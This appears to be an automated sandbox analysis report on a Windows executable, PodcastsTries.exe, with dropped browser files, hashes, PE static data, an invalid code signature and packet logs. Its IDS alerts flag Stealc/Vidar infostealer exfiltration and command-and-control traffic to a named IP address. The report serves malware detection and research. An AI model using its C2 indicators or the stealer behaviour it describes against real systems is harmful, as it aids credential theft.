XNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3473)
Category:	downloaded
Size (bytes):	3478
Entropy (8bit):	5.835150817177106
Encrypted:	false
SSDEEP:	96:uPliuDH6666gFvBbiw4iAnCdG/L3YXC6New29a5fffQfo:ut9DH6666Mkw4iAnCdGDoy6Nmq
MD5:	A95A2247624A55DE75966F38BBC6274B
SHA1:	E2D24147DC72A56ACAB019472B3C3704CE2DFAD8
SHA-256:	6BFB355EA5D1C0160074A5146E9006B2873C8A26AB6A7599650F1C67D2BCC218
SHA-512:	1A8A59AB3EE3FAD2A12B00DD082F021BD093D7F8D820C9ABD83FE003772A9F1CBBDEFCD5925184170441D0BA88DDF0EA4D0F6B5DE20FBBE726F6DAED9A3911DF
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["college football playoff","james gunn flash","barstool sports baltimore pizza","nintendo switch 2 console","lane kiffin","paris eiffel tower fire","fincen boi reporting injunction","the odyssey film christopher nolan"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wYjRseTcSDkZvb3RiYWxsIGNvYWNoMscOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQUNBZ0lEQUFBQUFBQUFBQUFBQUFBRkJnUUhBUU1BQWdqL3hBQTBFQUFCQXdNQkJnTUhBZ2NBQUFBQUFBQUJBZ01FQUFVUklRWVNFekZCVVJRaVlRZENjWUdSb2NFeThCWWpOSEtDc2VIL3hB

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132738
Entropy (8bit):	5.436566301078923
Encrypted:	false
SSDEEP:	3072:fjkJQ7O4N5dTm+syHEt4W3XdQ4Q6/uSr/nUW2i6o:fWQ7HTt/sHdQ4Q6/DfUW8o
MD5:	99E3BDA5CC2977810323C58D84CB8719
SHA1:	BDAE8C8538EDFCC4F98F17BABF9B92927F447509
SHA-256:	BF2E58218B2829F5E42B5AF1B9CA56C44D63EE44B36A74513AC8E624C7630602
SHA-512:	625BB771944898F637B718516AC024F9C42300A657E13FDAECA92964DBA394A1AF4CF9C496F584D681BE114EE3C49390193CECF351E0D1718B78151627524585
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.964933747043997
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PodcastsTries.exe
File size:	1'259'108 bytes
MD5:	20bef33e4a0add922ae043e2aed13ea2
SHA1:	4d0353be8234f56862b7ea7ece4ded3eeef91cbb
SHA256:	847c28adfa050608203f206d31cce27f1f27e89ab138908473c8c69ccf388ca2
SHA512:	7a387b96497c0026d01820e586e4d0a9686b9927c3270a18170a1e5c138dc8bbee759bed63058fdc865a613956ca7258f7058a6fff78a156f85d6d9a8421c469
SSDEEP:	24576:Fx9yUoL9cVIpol/OQy1HvVrQaygJy/LilXabJUbsVF1M2/y:X9loLhpWIHtUvgyz4KbJYsVzy
TLSH:	65452352432C9467E7EB9AF1B0F09917A13AFD1514BACACF3749B9443D31B910E1AB23
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	fef0f2fed6daca81

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/06/2022 09:22:08 14/04/2025 16:06:58
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Washington, OID.2.5.4.15=Private Organization, CN=TechPowerUp LLC, SERIALNUMBER=604 057 982, O=TechPowerUp LLC, L=Spokane, S=Washington, C=US
Version:	3
Thumbprint MD5:	648FDCF28A095B6DA4C31C9D5CD35A64
Thumbprint SHA-1:	8DAAE716F69B30A0DDC8C8A3F8EAC6C5B328CFD2
Thumbprint SHA-256:	20740B0C498F45830DD1D84EC746DEA5E43C2B0D32C603F2C2403A333CE9E8E7
Serial:	115BBE9E1C286827AF66E7A01390C206

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007FC114C77C1Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007FC114C778FDh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007FC114C778EBh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007FC114C751EAh
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007FC114C775C1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FC114C75273h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FC114C751EAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x63376	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x131194	0x24d0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x63376	0x63400	346d0336f3db87ca7b18657d2c3b5e20	False	0.9779424787468514	data	7.912454550393707	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x164000	0xfd6	0x1000	9fc48c1dd505e9e157908dde45bfb0ce	False	0.567138671875	data	5.306627890676661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1002c8	0x56b38	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.9934924872158771
RT_ICON	0x156e00	0x5ac5	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0006885570426476
RT_ICON	0x15c8c8	0x2676	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0011172049563275
RT_ICON	0x15ef40	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.6155410903173312
RT_ICON	0x1615a8	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.7021857923497268
RT_ICON	0x1626d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.851063829787234
RT_DIALOG	0x162b38	0x100	data	English	United States	0.5234375
RT_DIALOG	0x162c38	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x162d54	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x162db4	0x5a	data	English	United States	0.7777777777777778
RT_VERSION	0x162e10	0x290	MS Windows COFF PA-RISC object file	English	United States	0.5137195121951219
RT_MANIFEST	0x1630a0	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T19:27:44.693699+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.6	49806	188.245.216.205	443	TCP
2024-12-24T19:27:47.008486+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.6	49812	188.245.216.205	443	TCP
2024-12-24T19:27:49.377028+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	188.245.216.205	443	192.168.2.6	49818	TCP
2024-12-24T19:27:51.679968+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	188.245.216.205	443	192.168.2.6	49824	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 19:26:49.339080095 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:49.339098930 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:49.339107990 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:49.764139891 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:49.817822933 CET	49713	443	192.168.2.6	20.198.118.190
Dec 24, 2024 19:26:50.000591040 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:50.052192926 CET	49713	443	192.168.2.6	20.198.118.190
Dec 24, 2024 19:26:50.192730904 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:50.194521904 CET	49713	443	192.168.2.6	20.198.118.190
Dec 24, 2024 19:26:50.314249992 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:50.739707947 CET	443	49713	20.198.118.190	192.168.2.6
Dec 24, 2024 19:26:50.786564112 CET	49713	443	192.168.2.6	20.198.118.190
Dec 24, 2024 19:26:51.317965984 CET	49673	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:26:51.318003893 CET	49674	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:26:51.599131107 CET	49672	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:26:58.488861084 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:26:58.488926888 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:26:58.489046097 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:26:58.490117073 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:26:58.490129948 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.730648041 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.730717897 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:00.738517046 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:00.738529921 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.738759041 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.741127968 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:00.741384029 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:00.741394043 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.741633892 CET	49715	443	192.168.2.6	20.198.119.84
